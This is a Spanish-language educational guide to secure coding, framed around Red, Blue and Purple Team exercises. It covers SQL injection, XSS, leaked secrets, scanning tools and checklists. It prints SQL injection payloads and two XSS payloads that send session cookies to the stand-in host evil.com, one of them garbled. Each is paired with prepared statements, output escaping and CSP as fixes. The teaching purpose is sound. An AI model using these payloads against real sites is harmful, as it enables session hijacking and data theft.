Técnicas de Codificación Segura (Secure Coding Techniques)

Nivel: Intermedio → Avanzado
Enfoque: Aplicación real en entornos de desarrollo + Seguridad ofensiva y defensiva + Estrategia Purple Team

1️. ¿Qué son las Técnicas de Codificación Segura?

🔍 Explicación Técnica

Las técnicas de codificación segura son prácticas diseñadas para escribir código que resista ataques maliciosos, sea fácil de mantener y cumpla con estándares de seguridad reconocidos.

🎯 Objetivo:

Reducir al mínimo la superficie de ataque desde la fase de desarrollo, no esperar a la producción.

🧱 Analogia:
Si la ciberseguridad es un castillo, el código fuente es la arquitectura base. Si los ladrillos están mal puestos (funciones inseguras, entradas sin filtrar), todo se cae aunque tengas soldados (firewalls). El desarrollo seguro es construir con piedra, no con cartón mojado.

2️. Ejemplos Prácticos 

🔓 Caso #1: Inyección SQL (SQLi)

sql
SELECT * FROM users WHERE username = '$usuario';

Si no validas entrada, alguien puede poner:

sql
' OR 1=1 --

Y accede a todos los usuarios. Resultado: filtración total de datos.

➡️ Solución segura:

• Validación de entrada ✅

• Sentencias preparadas (Prepared Statements) ✅

• Principio de privilegio mínimo ✅

🌐 Caso #2: Cookies inseguras

Una cookie sin HttpOnly puede ser robada con un simple XSS:

html
<script>wnd.fe.Location='https://evil.com?cookie='+document.cookie</script>

➡️ Solución segura:

• Cookies con Secure, HttpOnly, SameSite

• Validez temporal

• Asociadas a sesión válida

3️. Herramientas y Soluciones Reales

Herramienta Función Principal -- Tipo de entorno

• SonarQube Análisis estático + detección de code smells y bugs -- CI/CD pipelines, local
• Fortify SCA Análisis estático con enfoque empresarial -- Grandes empresas
• Coverity Alta precisión en detección de vulnerabilidades -- Desarrollo continuo
• Checkmarx Muy usada en entornos DevSecOps -- Cloud/On-prem

➡️ Complemento:

• OWASP Dependency-Check – Detecta librerías inseguras

• Bandit (Python) – Encuentra fallos comunes en código Python

• npm audit (Node.js) – Verifica vulnerabilidades en dependencias

4️. Visión Estratégica (Red – Blue – Purple)

🔴 Red Team – ¿Cómo se explotan fallos de codificación?

• Inyección SQL, XSS, RCE, Command Injection

• Reverse engineering de binarios inseguros

• Manipulación de sesiones y JWTs

• Ingeniería social + explotación de lógica de negocio

🧪 Herramientas:

• SQLMap – Automatiza inyección SQL

• XSStrike – Ataques XSS avanzados

• Burp Suite – Manipulación de solicitudes, fuzzing

🔵 Blue Team – ¿Cómo se protege el código?

• Revisiones de código seguras (peer review + checklist)

• Validación de entrada estricta

• Seguridad por diseño (SDLC + Threat Modeling)

• Aplicar parches y control de versiones

🧰 Herramientas:

• SAST/DAST integrados en CI/CD (GitHub Actions, Jenkins)

• Linter + Reglas personalizadas

• Seguridad de dependencias (SCA)

🟣 Purple Team – ¿Cómo se orquesta todo esto?

• Crear playbooks de pruebas ofensivas → validación defensiva

• Automatizar pruebas en pipelines DevSecOps

• Simular ataques con herramientas del Red Team y verificar si son bloqueados

• Documentar vulnerabilidades, mitigar, y re-testear en cada commit

👁️ Visión Purple:

Seguridad no es algo que se "añade al final".
Es un ciclo iterativo donde Red y Blue cooperan, y Purple los alinea y documenta.

5️. Resumen

La codificación segura es el arte de anticiparse al atacante antes de que el software esté en producción.
Afecta cada línea de código, cada parámetro, cada cookie y cada función.
Aplicarla reduce costes, fortalece tu reputación como profesional, y marca la diferencia entre una app funcional y una app segura.

6. Conceptos Clave

Curiosidades, Claves y Buenas Prácticas en Codificación Segura

🧩 CURIOSIDADES Y CLAVES QUE NO PUEDES IGNORAR

1. Los errores de codificación más comunes no son técnicos, sino humanos.

El 80% de las vulnerabilidades explotables vienen de malas prácticas comunes:

• No validar entradas.

• Copiar y pegar código de StackOverflow sin entenderlo.

• Usar funciones "sospechosas" como eval() o exec() sin control.

⚠️ Dato clave: OWASP mantiene una lista de las Top 10 Vulnerabilidades que cambian con el tiempo. ¡Estúdialas como si fueran tu mapa del tesoro!

2. Las vulnerabilidades viajan con el código... hasta producción.

• Un input() sin filtro en Python puede convertirse en RCE (Remote Code Execution) cuando alguien lo lanza en un servidor.

• Un error en un microservicio puede comprometer toda la arquitectura si no hay Zero Trust entre servicios.

🔍 Curioso pero real: hubo una brecha en una app bancaria porque un desarrollador dejó una contraseña hardcodeada en una librería... y la subió a GitHub público.

3. Lenguaje ≠ Seguro

Muchos creen que usar Python o JavaScript automáticamente es seguro. Falso.
→ Todos los lenguajes pueden ser inseguros si tú no lo proteges.

💣 Python es fácil, pero permite cosas como:

python
eval(input("Introduce una operación: ")) #

⚠️ Peligro RCE total

Seguridad es una cultura, no un lenguaje.

4. Los frameworks ayudan... pero no te salvan.

• Django, Express, Spring, Laravel → Todos tienen protecciones integradas.

• Pero si desactivas las protecciones o usas mal los formularios, igual puedes crear puertas traseras sin darte cuenta.

🤯 Muchos pentesters encuentran XSS y CSRF en apps "bien hechas" simplemente porque se desactivó una opción en un middleware.

5. Tus dependencias son tu talón de Aquiles

• Las librerías de terceros representan hasta el 80-90% del código de una app moderna.

• Si una dependencia está comprometida, tú también lo estás.

🛡️ Buenas prácticas:

• Usa SBOM (Software Bill of Materials).

• Escanea con herramientas como Dependency-Track, OWASP Dependency-Check, o npm audit.

6. Nunca subestimes el poder de una buena revisión de código.

El Code Review con enfoque de seguridad detecta cosas que las herramientas automáticas no ven:

• Lógica de negocio vulnerable.

• Fallos de sentido común.

• Comportamientos no deseados en flujos complejos.

Consejo Pro: usa listas de chequeo de seguridad en tus revisiones (Security Code Review Checklist de OWASP o GitHub Security Lab).

📜 MANUAL DE BUENAS PRÁCTICAS – CÓDIGO A PRUEBA DE BALAS

🔐 Checklist esencial de codificación segura:

📥 Entrada y salida:

• ✅ Escapa todo contenido dinámico (HTML, SQL, JSON, XML, comandos shell).

• ✅ Nunca confíes en entradas del usuario, ni siquiera si son internas.

• ✅ Usa funciones de saneamiento del lenguaje/framework.

🔐 Autenticación y sesiones:

• ✅ Implementa gestión de sesiones segura (cookies con HttpOnly, Secure, SameSite).

• ✅ Usa bcrypt, argon2 o scrypt para hash de contraseñas. Nada de MD5 o SHA1.

• ✅ Valida tokens de acceso en cada punto (API, microservicios).

💾 Datos:

• ✅ Cifra información sensible en tránsito y en reposo.

• ✅ No dejes claves ni secretos en el código (usa .env y gestores como Vault).

• ✅ Aplica principio de menor privilegio en bases de datos y usuarios del sistema.

🧪 Seguridad continua:

• ✅ Escanea tu código con SAST en cada push (SonarQube, CodeQL).

• ✅ Escanea tus dependencias (SCA) al menos una vez por semana.

• ✅ Revisa logs y alertas: errores silenciosos son puertas abiertas.

⚙️ BONUS: Mini Checklists por Lenguaje

• Python use ast.literal_eval() en lugar de eval(); usa venv; evita paquetes abandonados
• JavaScript Usa DOMPurify para sanitizar inputs; evita innerHTML con datos del usuario
• Java Usa PreparedStatement; protege serialización; configura bien el Spring Security
• PHP Filtra $_GET, $_POST; desactiva register_globals; protege include()

🎯 PUNTOS CLAVE 

• ✅ La seguridad en el código no es un complemento, es un fundamento.

• ✅ Todo empieza en el teclado del desarrollador, pero debe mantenerse con automatización + cultura.

• ✅ El Purple Team juega un rol clave detectando debilidades en código antes de que lleguen a producción.

• ✅ Las buenas prácticas de codificación segura te convierten en una persona confiable para cualquier equipo.

EJERCICIOS PURPLE TEAM

Tema: Técnicas de Codificación Segura
Objetivo: Entender cómo se explotan fallos de codificación, cómo se defienden, y cómo se documenta y afina el proceso desde el rol Purple.

🔥 EJEMPLO 1 – Nivel Avanzado

🧨 Ataque: Inyección SQL básica

🔴 Red Team ataca

• Herramienta: Navegador + Burp Suite

• Escenario: Una web vulnerable con este campo:

sql
SELECT * FROM users WHERE username = '$input';

• Payload: ' OR '1'='1' --

• Resultado esperado: acceso como cualquier usuario o admin.

🔵 Blue Team defiende

• Solución inmediata: Cambiar la consulta a una prepared statement.

python
cursor.execute("SELECT * FROM users WHERE username = ?", (user_input,))

• Hardening extra: Validar que user_input contenga solo caracteres alfabéticos (a-z, A-Z) si es un nombre.

🟣 Purple Team gestiona

• Documenta el fallo detectado.

• Registra el commit donde ocurrió.

• Verifica que se haya corregido con SonarQube o Bandit.

• Crea una prueba automatizada para prevenir su regreso.

✅ Resultado esperado:
La aplicación ya no permite inyecciones, y la prueba unitaria lo confirma. El pipeline SAST lo valida en cada nuevo push.

💣 EJEMPLO 2 – Nivel Experto

🧨 Ataque: XSS persistente

🔴 Red Team ataca

• Escenario: Formulario de comentarios sin validación

• Payload:

html
<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

• Resultado esperado: Cookie de sesión enviada a atacante.

🔵 Blue Team defiende

• Escapa todo contenido HTML dinámico:

javascript
comment.innerText = user_input;

• Añade cabeceras de protección:

  • Content-Security-Policy: script-src 'self'

  • X-XSS-Protection: 1; mode=block

🟣 Purple Team gestiona

• Crea pruebas DAST automatizadas con OWASP ZAP que busquen XSS en todos los formularios.

• Documenta el incidente como "alta prioridad".

• Instruye al equipo de desarrollo en sanitización con DOMPurify o equivalentes.

✅ Resultado esperado:
XSS bloqueado. Política CSP funcionando. Alertas ZAP activadas cuando un input no escapa correctamente.

⚔️ EJEMPLO 3 – Nivel Maestro

🧨 Ataque: Exposición de secretos en repositorio público

🔴 Red Team ataca

• Escenario: Proyecto subido a GitHub sin .gitignore

Encuentra .env con:

ini
DB_PASSWORD=supersecret API_KEY=sk_test_xxxxxx

• Resultado: Acceso total a bases de datos y servicios externos.

🔵 Blue Team defiende

• Aplica .gitignore para excluir archivos sensibles.

• Integra herramienta como git-secrets o truffleHog en el pipeline.

• Cambia todas las claves filtradas y revoca las antiguas.

🟣 Purple Team gestiona

• Automatiza escaneo de secretos en cada push con GitHub Actions + gitleaks.

• Impone política de seguridad: ningún secreto en código. Uso obligatorio de gestores como HashiCorp Vault o AWS Secrets Manager.

• Ejecuta talleres de seguridad para desarrolladores.

✅ Resultado esperado:
El repositorio está limpio. Las credenciales están seguras. Hay alertas activas si vuelve a pasar.

🚩 BONUS – Laboratorio Local para Practicar

🎯 Simulación Local (mínimo setup):

• Instala DVWA o bWAPP en una VM con Kali Linux.

• Abre Burp Suite y navega las páginas con campos editables.

• Ataca como Red Team: SQLi, XSS, CSRF.

• Defiende como Blue Team: aplica fixes en el código fuente PHP.

• Audita como Purple Team: usa SonarQube, ZAP, y git-secrets.

🎯 PUNTOS CLAVE DE LA PARTE 3

• Las vulnerabilidades de codificación se pueden detectar, explotar, corregir y automatizar.

• El rol Purple conecta ofensiva y defensa con visión de mejora continua.

• Todo este conocimiento es usado a diario por pentesters, analistas SOC y DevSecOps.

• Dominar esto te coloca en la vía rápida para tu objetivo como líder Purple y futura CISO.